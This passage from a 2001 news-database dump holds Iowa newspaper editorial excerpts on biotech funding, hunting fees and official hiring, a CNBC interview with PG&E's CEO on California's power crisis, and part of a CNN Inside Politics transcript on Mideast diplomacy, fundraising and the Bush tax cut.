become a major force in the fast-growing field of biotechnology related to
agriculture - yet the 2001 Legislature provided no new money.

??It did continue the $4.67 million approved in 2000. It did not add $3
million, a meager increase proposed by the governor. It allowed ISU to keep
money from the sale of land, with proceeds to be used for the institute's Roy 
J.
Carver Co-Laboratory, to be completed by 2002. It should have added at least 
$10
million in cash. ...

??Because of legislative inaction, promising initiatives must slow down, or 
may
never take place. ...

??The institute had hoped to hire another top researcher in the field of corn
genomics ...

??Ag-biotech companies have been appealing to the state for help putting
together a protein-extraction facility ... Such a facility might extract 
protein
from conventional or genetically modified plants for such uses as
pharmaceuticals, food additives or chemical enzymes for industrial processes.
The Plant Sciences Institute has a small, pilot protein-extraction facility. 
New
money from the Legislature would have allowed it to assist businesses in
establishing a commercial facility. But now? "The people interested in this 
will
probably go elsewhere," said Director Stephen Howell.

??Why wouldn't they? Plenty of other states are serious about fostering 
biotech
industries. The Iowa commitment is hardly encouraging. ...

??Iowa has a budget crunch because its economy and population are not growing
fast enough. Investing in biotechnology - the technology that is expected to
drive the next great wave of economic growth - is the most promising way to 
make
Iowa's economy and population grow. Stinting on that investment is stunningly
shortsighted.

??Ten million dollars next session should not be out of the question. The
question should be what sort of future will Iowa have if it does not make the
most of the potential the Plant Sciences Institute holds.

??Hunting requirements:

??AMES TRIBUNE:

??In April, the Iowa House and Senate rejected a measure that would have
required wild turkey hunters to report their harvest to the Department of
Natural Resources, saying it was "just another hassle," for hunters.

??Then, the House hiked the fees for hunting licenses, in some cases up to 218
percent. A non-resident who wants to hunt deer in Iowa under this plan will 
have
to shell out $308, including a hunting license and habitat fee. The current
total is $156.

??Hassle? You got it. We might as well hang a sign on Iowa borders that says 
we
don't much care about managing our wildlife and we don't want you here, 
either.
Add to the mix a federal whammy in the Freedom to Farm Act, which has all but
eliminated any fence rows, and hunting as a potential tourism draw to Iowa 
blows
away in the wind. ...

??Instead of having accurate information on how much hunting is affecting
turkey populations, Department of Natural Resources wildlife managers are now
left to guess. ...

??Surrounding states which capitalize on their resources require even more
harvest registration, and it hasn't slowed interest. ...

??The DNR asked for the fee increases for good reasons - license fees have not
increased for a decade while the costs of salaries, travel and equipment have
begun to eat into funds available for facilities and land acquisition. And 
we're
in favor of using fees to support wildlife management.

??We also would allow that some of the increases do not seem to us to be
egregious. A $3 fish habitat fee for instance, isn't a great deal to pay. Nor 
is
a $30 tab for a non-resident 7-day fishing license out of line.

??But some fee hikes were too much.

??In particular, the non-resident fees for deer hunting are high especially in
comparison to surrounding states, and are more than most ordinary people are
likely to pay. Wisconsin charges non-residents $135 to hunt deer. Missouri
charges $125. License fees in Iowa are likely to result in less money coming 
in,
not more. What out-of-state hunter will be drawn to Iowa when surrounding 
states
are managing their herds better and charging less to visit?

??Iowa worries that the farm economy is in the tank. We wring our hands as our
young people rush to other parts of the country. We say that our natural
resources here can be an attraction that will draw people back. Yet these 
votes
run counter to sound wildlife management and increased tourism.

??Public official recruits:

??QUAD-CITY TIMES:

??More Iowa school districts and local governments are using professional
companies to help find high-level administrators such as superintendents, but
that recruiting tool is making the process less accountable to the public.

??In effect, it allows private firms to dictate public policy, and that's
troubling.

??One example of this trend is the Camanche School District, where six
finalists for the superintendents job were in town for interviews recently. 
They
met with school board members, district staff and some residents, yet the 
board
does not intend to reveal the names of the candidates. The Cedar Rapids
headhunter firm that has contracted with the district advised the school board
not to announce the names.

??Headhunters also are advising candidates to request their names be kept
confidential. Under Iowa law, a public entity such as a school board must 
honor
such a request.

??Some public officials justify this secrecy by arguing that finalists don't
want the public to know if they didn't get the job offer or worry that
identification may jeopardize their current position. ...

??Those arguments aren't justified, for reasons including:

??-There is nothing dishonorable in not being chosen for a top-level post.
Indeed, being considered a finalist for such a job may serve only to enhance a
candidates attractiveness for another position ...

??-Identifying the finalists for the public also allows citizens to ask
questions and provide other information, critical or supportive, that could be
useful in helping officials make a final choice.

??-And being upfront with the public lends credibility to the entire process
...

??We prefer a process similar to one used by the City of Clinton during its
recent search for a city administrator. The five finalists were not only
identified, they took part in an open house to meet the public. A headhunter
firm was used, but City Attorney Bruce Johansen, himself a candidate who did 
not
get the job, said he made it clear to the agency that the finalists names 
should
be made public.

??We applaud that effort ...

??Meanwhile, the Iowa Legislature this spring modified a state law that has
been the basis of confidentiality claims for candidates seeking public
positions. The change would require that official communication between 
private
contractors and the public entities they serve be open to public inspection.
Whether that law will be interpreted to include headhunter firms remains to be
seen. ...

??We encourage school boards and local governments to resist confidentiality
and test the new law when it takes effect July 1.

??Train service:

??CEDAR RAPIDS GAZETTE:

??Who'd have thought that the selection of the secretary of the federal
Department of Human Services last winter might affect whether Davenport, Iowa
City and Des Moines get rail service.

??But consider that HHS Secretary Tommy Thompson, who resigned recently from
the Amtrak board, had been a strong advocate of expanded rail service here in
the Midwest while he was governor of Wisconsin. Thompson had hoped to remain
chairman of the Amtrak board after he went to Washington. But the Associated
Press reports that a 1997 law that restructured the Amtrak board says only one
of the seven seats can be held by a member of the Cabinet - and the Bush
administration wants Transportation Secretary Norman Mineta on the governing
board.

??Few people around are as passionate as Thompson about Amtrak, and Iowa could
have benefited. It's hard to ride a national passenger train service that
doesn't go where the majority of Iowans live. Maybe the service will be 
expanded
here. But maybe, with the changes in the governing board, that train has 
already
left the station.

??Smoker identification:

??LE MARS DAILY SENTINAL:

??Have you heard the news from Walgreen's? They're going to card everybody who
wants to buy a package of cigarettes, a box of cigars, a can of chew.

??Everybody. Not under 18. Not 27 and under. Everybody. ...

??That can't have been an easy decision. Within a year, they're looking at
software that will require clerk's to enter a customer's birth date into a
computer before a tobacco sale can be completed. Until then, they're asking
their clerks to card everybody. Good for them. ...

??Yes, it will take a little extra time ... Evidently, the owners/corporate
bigwigs think the time is well spent if it eliminates the fines and bad
publicity.

??A convenience store association spokesman told reporters that other stores
are likely to duplicate Walgreen's efforts. Yes. We certainly hope so.

??We all have heard terrible numbers of deaths caused by tobacco, of underage
users ... Many, if not most of us, know someone who hacks and coughs, who died
from smoking, who cries because someone died from smoking. When you think of
them, it doesn't seem so outrageous to card everyone. It seems downright
brilliant. ...

??It won't stop it entirely. Young wanna-be-smokers will have somebody older 
do
the buying, or swipe a carton. There will always be a way to get around it,
there always is.

??Still, carding everyone says, "This is important, we mean it and we're not
going to make it easy for you."

??????????????????????????????37 of 85 DOCUMENTS

Content and programming copyright 2001 CNBC/Dow Jones Business Video, a 
division
??of CNBC/Dow Jones Desktop Video, LLC. No portions of the materials contained
?herein may be used in any media without attribution to CNBC/Dow Jones 
Business
Video, a division of CNBC/Dow Jones Desktop Video, LLC. ?This transcript may 
not
???????????????????????be copied or resold in any media.

???????????????????????CNBC/Dow Jones - Business Video

?????????????????????SHOW: CNBC/DOW JONES BUSINESS VIDEO

?????????????????????????????May 21, 2001, Monday

??????????????????????????Transcript # 052100cb.y50

TYPE: INTERVIEW

SECTION: Business

LENGTH: 807 words

HEADLINE: PG&E Chairman & CEO - Interview

GUESTS: Robert Glynn

BYLINE: Mark Haines, Joe Battipaglia

BODY: ?THIS IS A RUSH TRANSCRIPT. THIS COPY MAY NOT BE IN ITS FINAL FORM AND 
MAY
BE UPDATED.

MARK HAINES, CNBC ANCHOR, SQUAWK BOX: One company that is hurting a lot in all
this is PG&E, the parent of Pacific Gas and Electric. They filed for Chapter 
11
bankruptcy in April. PG&E has about $9 billion in unrecovered power costs. A
California bankruptcy judge says the company cannot raise retail rates to 
recoup
those losses. The stock is on a steep decline this year, trading in the 52 
week
range of 6 to 32, last at about 11 1/2.

Joining us to tell us where things are now and where they could be going,
Robert Glynn, PG&E's Chairman and CEO. Mr. Glynn, good to see you again.

ROBERT GLYNN, CHAIRMAN & CEO, PG&E: Good morning, Mark.

HAINES: So where do we stand now?

GLYNN: Well, we're working our way through the federal bankruptcy proceeding,
where we affirmatively stepped in order to resolve issues between ourselves 
and
our creditors. We have a plan of reorganization under development and we're
getting close to the time when we can begin to share that plan with the
creditors who, after all, need to get paid.

HAINES: So let's first talk about time. How much time do you think this might
take before PG&E emerges from bankruptcy?

GLYNN: Well, it's very hard to tell for one reason. There have not been very
many utility bankruptcies and I don't know of any that has had these
complexities to it. The shortest possible time or shortest likely time that 
I've
heard about has been six to eight months and that's probably shorter than it
will take. The longest that I've heard about is about four years and that's an
awful lot longer than I want it to take.

HAINES: In the meantime you are selling electricity, transmitting and selling
electricity on a retail level. Are you still losing money on your operating?

GLYNN: Well, the potential area for continuing loss exposure is the issue of
whether the California independent system operator is still buying on behalf 
of
our company instead of buying directly on behalf of our customers. And that's 
an
issue that's before the Federal Energy Regulatory Commission for decision 
making
right now.

HAINES: Well, I guess my question is who is paying the bills right now?

GLYNN: Well, the electric rates in California have just been raised by the
California Public Utilities Commission in order to have the state, the
Department of Water Resources be able to recover all of its costs because 
that's
what, of course, it wants to do. It doesn't want to go any deeper in debt than
it has to. So this most recent large rate increase has applied, as best as we
can tell, exclusively to cover the state's cost increases and not to cover 
some
of the ones that we're responsible for.

JOE BATTIPAGLIA: Mr. Glynn, the brownouts continue in California. What's the
status of supply of electricity into the state, putting aside for a moment how
you pay for it?

GLYNN: Well, the California electricity crisis at its heart is a supply
shortage and the outlook for this summer and next summer are pretty bleak. 
Every
responsible entity that has reviewed the situation is forecasting that there
will be a large number of rolling blackouts occurring over the summer of 2001
and probably 2002 as well, simply because there's not enough power to go 
around.

BATTIPAGLIA: Does that spread from California to other states as the draw down
becomes perilous?

GLYNN: Well, the California electricity market and the Pacific Northwest
markets have had a very nice symbiotic relationship over many, many years
shipping power back and forth to one another. That has been interrupted 
because
of the supply shortage in California, which means that California is trying to
be a net importer all the time. And it seems like the Pacific Northwest won't
have the kind of surplus energy to send south to California that it's had in 
the
past.

HAINES: Does this ultimately end with retail electricity distribution
transmission and distribution being done by a state authority and no longer by
privately held or publicly held companies?

GLYNN: I don't think it ends there at all, Mark. And I certainly don't think
that it's in the state's interest to try to get into businesses that can be 
done
by private capital when the state has so many other important things to use 
its
capital on, like education and infrastructure. And I do think that this supply
shortage has got to be resolved. It's got to be resolved by building new 
supply.
There's simply no alternative to that and that's going to take another couple 
of
years before that new construction is fully completed.

HAINES: All right, sir. Thank you very much for the update. We appreciate it.
Robber Glynn, PG&E's Chairman and CEO.

END

PG & E CORP (86%);

??????????????????????????????38 of 85 DOCUMENTS

??????????Content and programming copyright 2001 Cable News Network
???????????Transcribed under license by eMediaMillWorks, Inc. (f/k/a
??????????Federal Document Clearing House, Inc.) Formatting copyright
??????????2001 eMediaMillWorks, Inc. (f/k/a Federal Document Clearing
??????????????House, Inc.) All rights reserved. No quotes from the
??????????materials contained herein may be used in any media without
???????????attribution to Cable News Network. This transcript may not

?????????????????????????????????????CNN

???????????????????????SHOW: CNN INSIDE POLITICS 17:00

???????????????????????????Transcript # 01052100V15

SECTION: News; Domestic

LENGTH: 7389 words

HEADLINE: ?Bush Administration Endorses Mitchell Committee's Recommendations 
for
Ending Mideast Violence

GUESTS: ?Mark Baldassare

BYLINE: ?Judy Woodruff, David Ensor, Major Garrett, William Schneider, Kelly
Wallace, Jonathan Karl, Kate Snow, Rusty Dornin, Bruce Morton

HIGHLIGHT:
?As an escalating cycle of violence between Israelis and Palestinians 
continued
today, Secretary of State Colin Powell appointed a diplomat to help the two
sides end the fighting and resume talks. ?He urged the parties to use the 
report
of a commission appointed by former President Clinton as a springboard to 
peace.

BODY:

??THIS IS A RUSH TRANSCRIPT. THIS COPY MAY NOT BE IN ITS FINAL FORM AND MAY BE
UPDATED.

??ANNOUNCER: Live from Washington, this is INSIDE POLITICS, with Judy 
Woodruff.

??Amid growing bloodshed in the Middle East, the United States endorses
recommendations aimed at ending the violence.

??(BEGIN VIDEO CLIP)

??COLIN POWELL, U.S. SECRETARY OF STATE: It is now up to the leaders in the
region to show that they have heard this clarion call from this committee in a
loud and clear way.

??(END VIDEO CLIP)

??ANNOUNCER: Also ahead: Is President Bush taking a hit in the polls in
connection with the energy crunch?

??And to what degree has a certain Yale graduate finally embraced his alma
mater?

??GEORGE W. BUSH, PRESIDENT OF THE UNITED STATES: Everything I know about the
spoken word I learned right here at Yale.

??(LAUGHTER)

??ANNOUNCER: Now Judy Woodruff takes you INSIDE POLITICS.

??JUDY WOODRUFF, CNN ANCHOR: Thank you for joining us. ?We begin with the Bush
administration responding to pressure to get more involved in promoting Middle
East peace.

??As an escalating cycle of violence between Israelis and Palestinians
continued today, Secretary of State Colin Powell appointed a diplomat to help
the two sides end the fighting and resume talks. ?And he urged the parties to
use the report of a commission appointed by former President Clinton as a
springboard to peace.

??Let's get more now from CNN national security correspondent David Ensor --
David. DAVID ENSOR, CNN CORRESPONDENT: Judy, Ambassador William Burns, the 
U.S.
ambassador to Jordan, who is Mr. Powell's pick to be the next assistant
secretary for the Middle East, has been asked to work with other 
recommendations
for Mr. Powell and for President Bush on how the U.S. can best proceed from
here, trying to use the recommendations of the Mitchell committee report to 
try
to get the violence to de- escalate, to try to get the two sides talking 
instead
of shooting at each other.

??Here is how Mr. Powell put it today.

??POWELL: It is now up to the leaders in the region to show that they have
heard this clarion call from this committee in a loud-and- clear way, and take
actions that are available to them on both sides to let's have a cessation of
hostilities, then we can begin the confidence-building measures and move 
toward
negotiations.

??ENSOR: Now this report makes very specific recommendations and urges very
specific actions by both sides: in both cases, quite difficult actions. 
?First,
it calls for the Palestinians and the Israelis to declare an immediate,
unconditional cessation of violence. That's the first step, and that's the 
step
that Secretary Powell repeatedly emphasized today must come first and must 
come
right away or else nothing else will work.

??But the report goes on to make specific recommendations. ?For example, it
urges that Israel put -- freeze all settlement development, all development of
Israeli settlements in the occupied territories. ?It recommends that Israel
resume paying the money that's collected in taxes back to the Palestinian
Authority. ?It recommends a whole range of action, many of them to be taken by
Israel, which the reports says would help bring the tone back to where it 
needs
to be, would help bring the two sides back to where they could once again be
negotiating instead of shooting at each other and letting off bombs.

??The -- the secretary, Secretary Powell, said that this is not the time,
however, for him to get involved in shuttle diplomacy. ?He wants first to have
Ambassador Burns and the others come up with recommendations over the next 
week,
two weeks or three, and then he and the president will try to figure out where
the U.S. can go from here.

??But clearly, this is -- clearly, this is a first step by an administration
that until now has tried to keep its -- keep its powder a bit dry in the 
Middle
East. ?They are now engaging somewhat, because they're so concerned about the
situation out there, Judy.

??WOODRUFF: David, the report, the Mitchell report, suggesting that the
Israelis more responsible here, or at least that they have more to do in order
to get things back on the peace track than the Palestinians? ENSOR: The report
is very even-handed. ?It doesn't blame either side for the situation. ?It, for
example, does not blame Ariel Sharon's visit to the Temple Mount for the
following Intifada, Intifada II it's been called. ?But it says that there 
needs
to be a series of actions by both sides to bring down the tensions, and if you
look at the list of what it's asking for, there are more steps that the 
Israelis
would have to take than the Palestinians.

??WOODRUFF: And David, why is it that the administration is saying at this
point that it is not prepared to get back in -- in a -- in a day-to-day way, 
in
an energetically involved way the way the Clinton administration was?

??ENSOR: Well, I think the administration, this administration, feels that the
Clinton people got -- got to the point where they were micromanaging the 
thing a
little bit. ?It was too much presidential involvement and it was too much of a
day-to-day hand-holding operation. ?They feel they need to hold back a little
bit and try to get the parties to talk to each other.

??However, the situation is deteriorating pretty rapidly, and so now they
realize they have to have some greater involvement. ?And that's why Ambassador
Burns has been asked to prepare these recommendation, Judy.

??WOODRUFF: All right. ?David Ensor reporting for us from the State 
Department.

??For more on the Middle East conflict, stay with us for a special half-hour
report. ?That's beginning at 6:00 p.m. Eastern.

??Now, we turn to questions about the Bush administration's political
fund-raising tactics. ?Tonight, Vice President Dick Cheney is scheduled to 
host
some 400 big GOP donors at his official residence in Washington. ?A 
spokeswoman
for the Democrats says that that event smacks of, in her words, hypocrisy.

??The Democrats say the reception at the vice president's home is comparable 
to
Clinton-era events, such as White House coffees and Lincoln Bedroom sleepovers
for big donors, which drew heavy criticism from Republicans. ?Among them:
presidential candidate George W. Bush.

??BUSH: I believe they've moved that sign, "The buck stops here," from the 
Oval
Office desk to the buck stops here on the Lincoln Bedroom. ?And that's not 
good
for the country, it's not right. ?We need to have a new look about how we
conduct ourselves in office. There's a huge trust. ?I see it all the time when
people come up to me and say, "I don't want you to let me down again."

??And we can do better than the past administration has done.

??WOODRUFF: Despite that sort of criticism then, the Republicans are defending
their fund-raising tactics now. ?Senate Majority Leader Trent Lott had this to
say about the reception for big donors at Vice President Cheney's home 
tonight.

??SEN. TRENT LOTT (R-MS), MAJORITY LEADER: I'm sure it's being done in an
inappropriate way, or Dick Cheney wouldn't -- wouldn't be doing it. ?So if
there's any question, I'd suggest you address it to them. ?Unfortunately, I
think that most of us will not be able to be there. ?We're going to be here
voting, giving tax relief.

??WOODRUFF: Virtually all of those GOP contributors, who will mingle with Vice
President Cheney at his home tonight, have given at least $100,000 to the
Republican National Committee. ?They will also attend a major RNC fund-raiser
tomorrow night that features President Bush as the main speaker and is 
expected
to net some $15 million in soft money.

??Now let's bring in our White House correspondent, Major Garrett.

??Major, tell us about what this event is about tomorrow night.

??MAJOR GARRETT, CNN CORRESPONDENT: Well, it's the first official Republican
National Committee event to honor the president and the first lady, as you 
said.
The targeted haul is $15 million. Republican National Committee officials tell
CNN that it's about 70 percent of that 15 million will be soft money. ?About 
30
percent will be hard dollars -- that is dollars that are regulated under the
existing campaign finance scheme -- and that it is a big event, one that the
Republican Party has held for years and years in Washington.

??As for what's happening in the vice president's residence tonight, White
House Press Secretary Ari Fleischer told me this is a way of saying "Thank 
you,"
in his words, "to those Republicans who," as Ari Fleischer said, "did so much 
to
help win the selection."

??And he draws a distinction with the Clinton-era coffees and sleepovers,
describing them as, quote, "organized schemes to bring people through the 
gates
of the White House to get money or to persuade others to do so."

??Mark Minor, who is the communications director for the Republican National
Committee, also said that no one paid to go to the vice president's residence.
No checks will pass between hands there. There is no quid pro quo, and that 
some
people who will be at the vice president's residence tonight are not in fact 
RNC
donors -- Judy.

??WOODRUFF: So, Major, again, clarify the distinction between money events 
that
are given as a thank you and events that are given as an encouragement to give
more money.

??GARRETT: Well, it's a distinction this White House wants to draw as clearly
as it possibly can. ?In the words of Ari Fleischer, thanking someone, whether
it's on government property or not on government property, is a completely
legitimate activity for the president or the vice president to engage in. ?The
distinction he is drawing is that during the Clinton era people were brought 
to
the White House, to these coffees, and as was disclosed in the Thompson report
that was conducted by the Senate investigating that, there was some evidence 
of
actually targeted lists: that people who were brought in, money was described 
to
bringing in for a coffee. ?A certain dollar amount was attached to donations 
to
the Democratic National Committee, a larger amount if they, in fact, slept 
here
at the White House in the Lincoln Bedroom. ?That is the key distinction, the
Republicans say: that there is no targeting necessarily of these people to 
come
to the vice president's residence.

??They also point out that the original letters inviting these big donors to
Washington did not in any way suggest there would be a reception at the vice
president's residence: the point there being these people donated without any
expectation of having dinner or reception with Lynne Cheney and Dick Cheney in
the vice president's home.

??WOODRUFF: And Major, just to clarify, the 400 people invited tonight to the
vice president's, how many are they saying did not give money?

??GARRETT: They're not disclosing any numbers. ?They're only saying that some
have given. ?They clearly and readily acknowledge that. ?Some are lobbyists.
Some represent large corporations. ?But others, they say, are just Republican
National Committee officials. And others of an undisclosed nature -- not
fund-raisers, not Republican Party officials -- who will be there tonight.
Don't have any numbers for you on that, though.

??WOODRUFF: All right, Major Garrett reporting at the White House. Thank you
very much.

??Vice President Cheney maybe taking some heat for fund-raising tactics, not 
to
mention his role in creating the Bush energy plan. Look that this:

??Our new poll shows Cheney's job approval rating is 4 points higher than the
presidents. ?While Mr. Bush's approval rating has held pretty steady in the 
past
couple of weeks, he has lost ground since late April. ?Cheney's approval 
rating
has dipped as well.

??For more on Mr. Bush's ratings and how they relate to his policies, we are
joined now by our senior political analyst Bill Schneider.

??Tell us, Bill, which of Mr. Bush's policies is the most popular?

??WILLIAM SCHNEIDER, CNN SENIOR POLITICAL ANALYST: Well, you might guess
energy, given the high ratings for Dick Cheney that you just reported -- but 
you
would be wrong.

??Because, what Americans like best is the tax cut. ?Two thirds of the public
now favors a substantial tax cut. ?That's up from 60 percent earlier this 
month.
Well, why not? ?What's wrong with getting some money back from the government?

??Actually, most people do not think the tax cut could benefit them much
financially. ?They like it because they believe it will help the economy. ?And
that is why so many Democrats find it very difficult to oppose.

??WOODRUFF: What about the energy plan?

??SCHNEIDER: Not such a success. ?Not like the tax cut. ?Americans are 
actually
divided over the president's energy plan. ?Why? ?It's not because the public
blames the Bush administration for the nation's energy problems. ?Most people
blame the oil companies.

??In fact, more people blame Congress and the Clinton administration and
environmental laws and American consumers than blame the Bush administration.
But most Americans still give President Bush low marks on energy. ?The core
criticism of his energy plan is: it doesn't do enough. ?55 percent of 
Americans
say President Bush is not doing enough to solve the country's energy problems.

??What doesn't the plan do? ?It doesn't do much right now. ?Only 8 percent of
Americans believe the plan will help the nation's energy problem immediately.
Most people think oh, it will help, but only after several years. ?It's a
long-run solution. ?Americans want help now. ?Right now. ?With electricity in
California. ?And with gas prices all over the country. ?Long-term solutions 
are
important, but politics is a short-term business. ?If the problem is now, 
people
want results now.

??And they don't see what the Bush energy plan is going to do about 
$2-a-gallon
gasoline now.

??WOODRUFF: Why do people think the energy plan fails to do that?

??SCHNEIDER: Because they think this administration is run by oilmen. ?Oilmen
like $2-a-gallon gasoline. ?Maybe even 3.

??By nearly two to one, the public believes energy companies have too much
influence over the Bush administration's policies. ?In fact, Americans are 
split
when you ask them whether the Bush energy plan is designed to further the
country's interests or the energy companies' interests. ?That sounds like
breathtaking cynicism. ?But any administration that's run by Texas oilmen is
automatically suspect.

??WOODRUFF: All right, Bill Schneider, thank you very much. You're not 
suspect.

??SCHNEIDER: I am certainly not.

??WOODRUFF: At least as far as we know.

??Do Californians blame President Bush for their energy crisis? We've heard a
little bit from Bill on that. ?That answer and more on the issue later this
hour. ?Plus:

??Just what kind of tax cut is the Senate considering? ?Jonathan Karl crunches
the numbers. ?Also:

??UNIDENTIFIED MALE: We have no ability to bring up the amendments. ?You don't
set the agenda every day, and that is real power in the House.

??WOODRUFF: The trials and tribulations of the minority leader, as he 
considers
the present and the future. ?And later:

??Rewarding a president's most controversial decision. ?A political "Profile 
In
Courage." All ahead on INSIDE POLITICS.

??(COMMERCIAL BREAK)

??WOODRUFF: President Bush today donned the traditional commencement robes, 
and
gave the graduating class at Yale University a few bits of advice. ?The
president also included a glimpse at his less-than-perfect college years. ?As
CNN's Kelly Wallace reports, today's speech was a departure from how the
President's dealt with his alma mater in the past.

??(BEGIN VIDEOTAPE)

??KELLY WALLACE, CNN WHITE HOUSE CORRESPONDENT (voice-over): A homecoming of
sorts, George W. Bush who has only been back to his alma mater once since
graduating in 1968, returns to address those at the top and the bottom of 
Yale's
graduating class.

??BUSH: And to the C students...

??I say, you too, can be president of the United States.

??(CHEERING AND APPLAUSE)

??WALLACE: The president offering a self-deprecating account of his days as 
the
undergraduate, when, as a history major, he earned modest grades and was known
more as a fraternity boy prankster than a rising political star.

??The visit was not without controversy, with some students protesting and 
some
professors boycotting, charging that Mr. Bush was not yet deserving of an
honorary degree.

??PETER BROOKS, YALE UNIVERSITY PROFESSOR: It doesn't seem at present to
represent the intellectual ideals and the service to humanity in which we 
think
that Yale stands for.

??WALLACE: The president has kept his distance from this Ivy League 
institution
for most of his political life, painting it as a symbol of elitism, even 
during
his days at Yale. TERRY JOHNSON, BUSH'S YALE ROOMMATE: What George -- does not
respond well to are people who are snobs, whether you are a social snob or an
intellectual snob or any other kind of snob.

??WALLACE: Mr. Bush rarely mentions what he did on this day, that he was born
in New Haven when his dad, the former president, was an undergraduate at Yale.

??BUSH: My life began just a few blocks from here, but I was raised in West
Texas. ?From there, Yale always seemed a world away.

??WALLACE: The president, for years, had been miffed with Yale for not 
awarding
an honorary degree to his dad until 1991, the third year of his presidency. 
?But
it appears now, all is forgiven.

??BUSH: In my time they spoke of the Yale man, I was really never sure of what
that was. ?But I do think that I am a better man because of Yale.

??WALLACE: Mr. Bush, the son and grandson of Yalies and now father of a 
current
student, seems very proud that Yale is a part of his past.

??Kelly Wallace, CNN, New Haven, Connecticut.

??(END VIDEOTAPE)

??WOODRUFF: And looking now ahead to 2004: the Reverend Al Sharpton says that
he will explore seeking the Democratic presidential nomination. ?The civil
rights activist said yesterday that the party did not protect the rights of
disenfranchised voters in Florida in the last presidential race.

??If he runs, Sharpton said that he would promote issues that concern blacks
and progressives, and his effort would not be just symbolic. ?Sharpton ran
unsuccessfully for the Senate in New York in 1994 and for mayor of New York 
City
in 1997.

??Reverend Sharpton and former Republican presidential candidate Gary Bauer
will discuss President Bush's faith-based plan to help the poor tonight on
"CROSSFIRE." That's at 7:30 p.m. Eastern.

??Another note from New York: a state supreme court justice today barred Rudy
Giuliani's girlfriend from the mayor's official residence, Gracie Mansion. 
?The
judge ruled in favor of Giuliani's estranged wife, Donna Hanover, who had
requested a restraining order barring Judith Nathan from the residence. ?The
ruling says that Nathan may not enter the residence as long as the Giuliani
children continue to live there. ?The judge also denied Giuliani's second
attempt for a gag order in the couple's divorce proceedings.

??And we'll have the latest on President Bush's tax cut when we come back.

??(COMMERCIAL BREAK) WOODRUFF: This evening, the Senate is expected to vote on
the latest version of the now $1.35 trillion tax cut plan. ?Republican leaders
hope to give President Bush the tax cut for approval before Memorial Day. ?But
as Jonathan Karl reports, taxpayers will have a longer wait before reaping any
of the measure's benefits.

??JONATHAN KARL, CNN CONGRESSIONAL CORRESPONDENT (voice-over): The Senate's
$1.35 trillion tax cut would be the biggest in a generation, but don't spend
your tax windfall yet. ?Most of the cuts will not take effect for several 
years
to come.

??Relief from the so-called major penalty will not start until the year 2005.
The estate tax won't be repealed until 2011. ?That means even if President 
Bush
is re-elected, it wouldn't take effect until two years after he completed his
second term. ?The IRA contribution limit would be raised from $2,000 to 
$5,000,
but that also wouldn't happen until the year 2011.

??The tax cut calls for doubling of the child tax credit, but that takes 10
years too. ?The credit would rise from $500 to $600 this year, slowly 
increasing
in $100 increments over the next 10 years until it finally reaches $1,000 in 
the
year 2011. ?The cuts in income tax rates would be phased in even more slowly.

??SEN. CHARLES GRASSLEY (R-IA), FINANCE COMMITTEE CHAIRMAN: You are right, 
some
of them do not -- are phased in over a period of time. But there is real 
relief
in this tax bill for every taxpayer starting January 1, 2001. ?They don't have
to wait until next year.

??KARL: That immediate tax relief amounts to $300 for individuals and $600 for
couples filing jointly, but just how that money gets back to taxpayers is 
still
to be worked out. ?The option favored by the president is a simple rebate 
check
sent directly to taxpayers, an idea opposed by many Senate Republicans who 
call
it impractical.

??But the rebate would represent a fraction of the overall tax cut, which
Democratic opponents say will explode in cost after it's fully phased in two
years from now.

??SEN. KENT CONRAD (D), NORTH DAKOTA: This plan is fully back- loaded. ?That
means simply that it is disguised in terms of its full cost. ?This decade it
cost $1.35 trillion. ?In the next decade, it will cost from 3.5 to $4 
trillion.

??KARL: But there's a little noticed provision of this tax cut that may make
that point moot. ?The tax cut includes a sunset provision, that means all the
tax cuts in the bill would expire in the year 2012. ?For the tax cuts to 
remain
in place, Congress would have to pass them again.

??KARL: Now, the Senate is expected to vote on a series of amendments to the
tax cut later on today, paving the way for a final vote on the tax cut here in
the Senate tonight. ?But it will not end there. ?This still needs to be
reconciled with the tax cut that was passed in House, the House passing almost
exactly the president's tax cut, including much deeper cuts in income tax 
rates
preferred by Republicans.

??The Senate and the House will have to work out their differences. They're
expected to do so this week, setting the stage to send this final tax cut down
Pennsylvania Avenue and onto the president's desk by Memorial Day -- Judy.

??WOODRUFF: Jon, when you talk about the plan providing 300 or $300 a year per
individual, divided by 12, that's $20-some a month. Is this the kind of money
the president was talking about when he said the tax cut would help people 
with
higher gasoline prices?

??KARL: This was exactly what he had it mind. ?This was exactly what he was
talking about, directing the money right into the hands of taxpayers, directly
into the hands of those people paying higher gasoline prices at the pumps.

??This is an idea that his Treasury secretary, Paul O'Neill, strongly favors,
the idea of direct cash payments or check payments to taxpayers. ?But one big
problem with this, Judy, is that taxpayers over the course of time move, they
change addresses, some of them die. The question is, how do you make sure you
get all the right checks to those people at current addresses? ?It's not an 
easy
proposition.

??WOODRUFF: And Jon, one other subject, we know the president's nominee to be
solicitor general of the United States has run into a real problem in the 
Senate
committee. ?Where does that stand right now? ?The last we heard, the Senate
Judiciary had split 9-9 on the nomination of Ted Olson.

??KARL: Well, the Senate leaders, Trent Lott and Tom Daschle, are now actively
involved in this, trying to come to some kind of an agreement, an agreement 
that
will allow the Democrats to get access to some information they want about
Olson, especially information that was compiled by independent council Robert
Ray, looking to just what Olson's involvement was in that Arkansas Project by
the "American Spectator" magazine, the investigation into Bill Clinton's
personal life.

??They want information from the independent council to look at just how
involved Olson was in that project, to see whether or not he was truthful in 
his
testimony when he said he was not very involved at all. ?There's some movement
to try to get the Democrats on the committee more of the information, also 
maybe
to release more of it to the public.

??If that's all done, it would set the stage for a vote on the Olson 
nomination
before the full Senate, but probably not until after Memorial Day. ?The Senate
goes on recess at the end of the week, they will be off all of next week, you
probably won't see a vote on the Olson nomination until after they return.

??WOODRUFF: All right, Jon Karl at the Capitol, thanks. In the House of
Representatives, Democrats are finding themselves drowned out by the 
Republican
majority. ?Add to that, critics who say the party is lacking leadership and
strategy. ?And life in the House minority begins to look bleak. ?Our Kate Snow
caught up with the House Minority Leader Dick Gephardt to talk about the 
balance
of power and his political future.

??REP. DICK GEPHARDT (D-MO), HOUSE MINORITY LEADER: We need to say what are we
for, and that's what...

??KATE SNOW, CNN CONGRESSIONAL CORRESPONDENT (voice-over): Dick Gephardt will
tell you it's frustrating being a Democrat these days, stuck in the minority
without the backing of the White House.

??GEPHARDT: Well, you take what you -- what you are given. ?I mean, the people
run this country. ?We don't. ?And so, you fight for what you believe in as 
hard
as you can, and if you really believe in it, then you're frustrated if you're
not able to those policies through.

??SNOW: Gephardt says the Democrats are forced to play defense, responding to
Republicans.

??GEPHARDT: I think we slowed down a little bit the amount of the tax bill --
not enough, in my view -- but we lowered it some so that the potential 
